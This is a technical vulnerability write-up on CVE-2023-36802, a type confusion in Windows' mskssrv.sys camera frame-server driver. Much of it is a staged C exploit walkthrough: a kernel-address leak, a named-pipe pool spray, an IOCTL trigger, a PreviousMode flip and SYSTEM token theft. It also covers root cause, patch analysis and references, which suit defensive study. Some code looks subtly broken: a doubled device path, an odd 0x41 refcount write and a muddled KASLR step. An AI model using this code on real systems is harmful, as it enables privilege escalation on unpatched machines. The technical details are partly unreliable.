CVE-2023-36802 — MSKSSRV Type Confusion: FsContextReg/FSStreamReg OOB → PreviousMode LPE
Last updated: 2026-04-19
Severity: High (CVSS 7.8)
Component: mskssrv.sys (Microsoft Kernel Streaming Service Proxy)
Bug Class: Type Confusion → OOB read/write →ObfDereferenceObjectarbitrary decrement
Privilege Escalation: User → SYSTEM
Patch: September 2023 Patch Tuesday (KB5030211/KB5030214 Win10; KB5030219/KB5030217 Win11)
Related: Kernel Streaming, Type Confusion, Primitives, Pool Internals
Vulnerability Summary
mskssrv.sys (Microsoft Kernel Streaming Service Proxy) implements a frame server for virtualizing and sharing camera devices. FSRendezvousServer::FindObject() retrieves an object from FILE_OBJECT.FsContext2 without validating its type. An attacker can place an FsContextReg (0x78 bytes) there via IOCTL_FRAMESERVER_INIT_CONTEXT, then call IOCTL_FRAMESERVER_PUBLISH_RX, which passes the result directly to FSStreamReg::PublishRx(). That function expects an FSStreamReg (0x1D8 bytes) and dereferences attacker-controlled data at offset +0x1C8 — 0x150 bytes past the end of FsContextReg. The function calls ObfDereferenceObject() on the value at that offset, yielding an arbitrary decrement primitive that can target KTHREAD.PreviousMode for a User→SYSTEM escalation.
Status: Exploited in the wild at time of patch (September 2023). chompie1337 (IBM X-Force) independently found and reported the bug; Microsoft confirmed ITW exploitation before the blog was published — hence the name “Critically Close to Zero Day.”
Root Cause Analysis
Component: mskssrv.sys
mskssrv.sys implements the Windows Camera Frame Server: it virtualizes webcam/camera devices so multiple applications can share one physical camera simultaneously. Key IOCTLs:
| IOCTL | Code | Action |
|---|---|---|
IOCTL_FRAMESERVER_INIT_CONTEXT | 0x2F0400 | Allocates FsContextReg; stores ptr in FILE_OBJECT.FsContext2 |
IOCTL_FRAMESERVER_PUBLISH_RX | 0x2F040C | Calls FSStreamReg::PublishRx() on FsContext2 object |
IOCTL_FRAMESERVER_PUBLISH_TX | 0x2F0410 | Similar, tx direction |
IOCTL_FRAMESERVER_CONSUME_TX | 0x2F0408 | Similar |
Vulnerable Structures
FsContextReg (aka Creg):
// Size: 0x78 bytes (0x90 with pool header)
// Pool tag: 'Creg'
// Pool type: NonPagedPool
// Allocated by IOCTL_FRAMESERVER_INIT_CONTEXT
// Stores thread/process context for the frame server connection
struct FsContextReg {
// ... context fields up to 0x78
// Attacker-controlled data begins immediately AFTER this in pool
};
FSStreamReg:
// Size: 0x1D8 bytes
// Allocated by IOCTL_FRAMESERVER_REGISTER_STREAM
// Expected by FSStreamReg::PublishRx()
struct FSStreamReg {
// ...
// +0x038: [field used by first ObfDereferenceObject call — within FsContextReg bounds, less controlled]
// ...
// +0x188: Frames queue pointer
// +0x198: Frame list link
// +0x1A8: ProcessBilled pool object pointer (NULL = skip pool billing)
// +0x1C8: [field used by SECOND ObfDereferenceObject call — 0x150 past end of FsContextReg!]
// +0x1D0: ...
};
Type Confusion Trigger
Attacker → IOCTL_FRAMESERVER_INIT_CONTEXT
└─ mskssrv!FSRendezvousServer::InitContext()
└─ alloc FsContextReg (0x78 bytes) → store in FILE_OBJECT.FsContext2
Attacker → IOCTL_FRAMESERVER_PUBLISH_RX
└─ mskssrv!FSRendezvousServer::PublishRx()
└─ FSRendezvousServer::FindObject()
└─ return FILE_OBJECT.FsContext2 ← NO TYPE CHECK!
└─ FSStreamReg::PublishRx(FsContextReg_ptr) ← CONFUSION: 0x78 obj treated as 0x1D8
├─ ObfDereferenceObject(ptr + 0x038) ← within FsContextReg (semi-controlled)
└─ ObfDereferenceObject(ptr + 0x1C8) ← 0x150 past FsContextReg END (attacker-controlled!)
ObfDereferenceObject as Decrement Primitive
ObfDereferenceObject(addr) performs an atomic decrement at (addr - 0x30):
ObfDereferenceObject(addr):
InterlockedDecrement64(addr - 0x30); // decrements the RefCount field of the pool object
If the attacker places target + 0x30 at offset +0x1C8 of FsContextReg in controlled pool memory, the decrement lands exactly at target. For PreviousMode decrement: target = KTHREAD + 0x232.
Adjacent pool data at (FsContextReg + 0x150): [KTHREAD+0x232 + 0x30]
= KTHREAD + 0x262
ObfDereferenceObject dereferences this → decrements *(KTHREAD+0x262 - 0x30) = *(KTHREAD+0x232)
PreviousMode: 1 → 0 → kernel-mode NtRead/WriteVirtualMemory enabled
Exploitation Technique
Stage 1: KASLR Defeat
// Get kernel address of current thread's KTHREAD:
NtQuerySystemInformation(SystemExtendedHandleInformation /*64*/, ...);
// → scan returned handles for the current thread's FILE_OBJECT
// → FILE_OBJECT + 0x18 → FSRTL_COMMON_FCB_HEADER → infer KTHREAD via GS:[0x188]
// Alternatively: leak via NtQuerySystemInformation → EPROCESS walker
Stage 2: Pool Spray (Named Pipe, NonPagedPoolNx, 0x90 bytes)
// FsContextReg is 0x78 bytes with pool tag 'Creg' in NonPagedPoolNx
// With 0x10-byte pool header = 0x90 total allocation unit
// Named pipe unbuffered write (no DATA_QUEUE_ENTRY header) matches this size:
HANDLE pipes[0x10000];
for (int i = 0; i < 0x10000; i++) {
// Create pipe, write 0x80 bytes via NtFsControlFile(IOCTL=0x119FF8)
// Creates 0x90-byte allocation in NonPagedPoolNx
// Buffer contains: ... [at offset 0x150]: KTHREAD + 0x262
spray_pipe(pipes[i], controlled_data_0x80, KTHREAD_plus_0x262_at_offset_0x150);
}
// Free every 4th pipe to create allocation holes:
for (int i = 0; i < 0x10000; i += 4)
CloseHandle(pipes[i]);
Stage 3: FsContextReg Placement into Hole
// Open MSKSSRV device:
HANDLE hDevice = CreateFile("\\\\.\\GLOBALROOT\\Device\\GLOBALROOT\\Device\\MSKSSRV", ...);
// IOCTL_FRAMESERVER_INIT_CONTEXT allocates FsContextReg (0x90 in NonPagedPoolNx)
// → lands in one of the freed holes → named pipe data immediately follows FsContextReg
DeviceIoControl(hDevice, 0x2F0400, ...); // FsContext2 = &FsContextReg
// Now: FsContextReg[0x00..0x77] = kernel-managed
// FsContextReg[0x78..0xEF] = attacker-controlled named pipe data
// At offset 0x1C8 from FsContextReg start = 0x78 + 0x150 from pipe data start
// → named pipe wrote KTHREAD+0x262 at that offset ✓
Stage 4: Trigger Type Confusion (Secondary Thread)
FSStreamReg::PublishRx() also calls KeSetEvent, which would BSOD if the fake structure is wrong. Solution: run the IOCTL on a secondary thread with a self-referencing loop:
// In the named pipe data at FSStreamReg+0x???:
// Set FSFrameMdl::MoveNext list entry to self-referencing →
// keeps PublishRx spinning in a frame processing loop
//
// Set FSStreamReg+0x1A8 (ProcessBilled) = NULL → skips pool deallocation crash
DWORD WINAPI trigger_thread(LPVOID) {
DeviceIoControl(hDevice, 0x2F040C, ...); // PUBLISH_RX → type confusion
// Thread stays in loop due to self-referencing Flink/Blink
return 0;
}
CreateThread(NULL, 0, trigger_thread, NULL, 0, NULL);
// Main thread: wait for PreviousMode to flip
while (*(BYTE*)(kthread + 0x232) != 0) Sleep(1);
// Once PreviousMode=0: signal secondary thread to exit loop
*(PVOID*)((BYTE*)pipe_data + offset_of_self_ref) = valid_exit_pointer;
Stage 5: Kernel R/W via PreviousMode=0
// With PreviousMode=0 on main thread:
// NtReadVirtualMemory / NtWriteVirtualMemory treat all addresses as KernelMode
// → bypass SMEP/PTE user-bit checks for pointer targets
// Find SYSTEM EPROCESS:
ULONG_PTR eprocess = current_eprocess;
while (*(ULONG_PTR*)(eprocess + 0x440) != 4) { // UniqueProcessId == 4 (System)
eprocess = *(ULONG_PTR*)(eprocess + 0x448) - 0x448; // ActiveProcessLinks walk
}
ULONG_PTR system_token = *(ULONG_PTR*)(eprocess + 0x4B8) & ~0xF;
// Overwrite current process token:
ULONG_PTR current_eprocess = /* from NtQuerySystemInformation */;
// Bump system token refcount to avoid crash:
*(ULONG_PTR*)(system_token - 0x30) = 0x4141414141414141;
*(ULONG_PTR*)(current_eprocess + 0x4B8) = system_token;
Stage 6: Cleanup
// Restore PreviousMode (XOR bit 0: 0 → 1):
*(BYTE*)(kthread + 0x232) ^= 1;
// Restore ProcessBilled (if needed)
// Exit → spawned shell inherits SYSTEM token
In-the-Wild Exploit (CLFS-Based Path)
The ITW exploit used a CLFS-based approach instead of PreviousMode decrement — likely targeting Windows versions where the PreviousMode path was less reliable:
- Create/open a CLFS log file → leak its kernel address (via
NtQuerySystemInformation) - Spray pool with crafted objects at the size/location of
FSStreamReg+0x1C8read target FSFrameMdl::UnmapPages()is called on the OOB-read pointer- Forge a fake
CClfsContainerobject with a fake vtable in user space - vtable dispatch via
UnmapPages→ call gadget:PoFxProcessorNotification→RtlClearBit RtlClearBitwrites 0 to a controlled bit position → used to clear security-sensitive fields or PreviousMode
This CLFS interaction is similar to the technique used in CVE-2023-28252 exploitation chains — CClfsContainer fake vtables were a well-known primitive in 2023.
Key Primitives Used
- Arbitrary decrement (–1):
ObfDereferenceObject(controlled_addr + 0x30)→*(controlled_addr) -= 1 - PreviousMode flip: decrement
KTHREAD+0x232from 1 → 0 → unlimited kernel read/write viaNtR/WVirtualMemory - Named pipe pool spray (NonPagedPoolNx, 0x80 bytes): canonical spray for 0x90-sized NonPagedPool slots
Mitigations Bypassed
| Mitigation | Status | Notes |
|---|---|---|
| KASLR | Bypassed | NtQuerySystemInformation(64) leaks KTHREAD/EPROCESS addresses |
| SMEP | Bypassed | PreviousMode=0 makes kernel use user-mode memory as kernel pointers without fault |
| kCFG | Bypassed | Exploit uses ObfDereferenceObject — valid CFG target — as the primitive; no fake function pointers needed in PreviousMode path |
| PreviousMode check | Bypassed | It IS the target of the exploit |
| Future: CastGuard | Would mitigate | Compile-time type safety would catch FsContextReg→FSStreamReg confusion |
Proof-of-Concept Notes
- chompie1337 (IBM X-Force) — PoC demonstrated locally; published October 2023
- GitHub PoC: github.com/x0rb3l/CVE-2023-36802-MSKSSRV-LPE
- GitHub PoC: github.com/Nero22k/cve-2023-36802
- Tested: Windows 10 21H2, Windows 11 22H2
- Warning from researcher: “PreviousMode attacks might not work on future/insider builds” — Microsoft has been progressively restricting PreviousMode-based exploit chains
Patch Analysis
FSRendezvousServer::FindObject() was renamed to FSRendezvousServer::FindStreamObject() and a type check was added:
// Before (vulnerable):
PVOID FSRendezvousServer::FindObject(FILE_OBJECT* fileObj) {
return fileObj->FsContext2; // no type validation
}
// After (patched):
PVOID FSRendezvousServer::FindStreamObject(FILE_OBJECT* fileObj) {
FsContextReg* obj = (FsContextReg*)fileObj->FsContext2;
if (!obj || obj->TypeField != 2) // TypeField == 2 set only in FSStreamReg ctor
return FALSE;
return obj;
}
The type check relies on a TypeField (or equivalent discriminant) at a known offset of the object, set to 2 only during FSStreamReg construction. FsContextReg objects have a different type value, so FindStreamObject returns FALSE and PublishRx is not invoked.
Relationship to CVE-2023-29360
CVE-2023-29360 is a separate mskssrv.sys vulnerability (patched June 2023, ~3 months earlier) discovered by Synacktiv at Pwn2Own 2023. That bug: FsAllocAndLockMdl calls MmProbeAndLockPages with KernelMode instead of UserMode, bypassing address validation and allowing arbitrary kernel addresses to be mapped into user space for read/write. CVE-2023-36802 is an independent type confusion bug; they share the same driver but are unrelated code paths.
Windows Versions Affected
| Version | Patched KB |
|---|---|
| Windows 10 (various) | KB5030211 / KB5030214 |
| Windows 11 (various) | KB5030219 / KB5030217 |
| Windows Server 2019 | KB5030214 |
| Windows Server 2022 | KB5030216 / KB5030251 |
References
- Valentina Palmiotti (chompie1337 / IBM X-Force), “Critically Close to Zero-Day: Exploiting Microsoft Kernel Streaming Service”, IBM Security Intelligence, October 2023 — https://www.ibm.com/think/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service
- Google Project Zero 0-days In-the-Wild RCA — https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html
- Microsoft MSRC Advisory — https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36802
- GitHub PoC by x0rb3l — https://github.com/x0rb3l/CVE-2023-36802-MSKSSRV-LPE
- GitHub PoC by Nero22k — https://github.com/Nero22k/cve-2023-36802
- Synacktiv, “Windows Kernel Security — CVE-2023-29360”, HITB 2023 HKT (related mskssrv bug, different root cause)
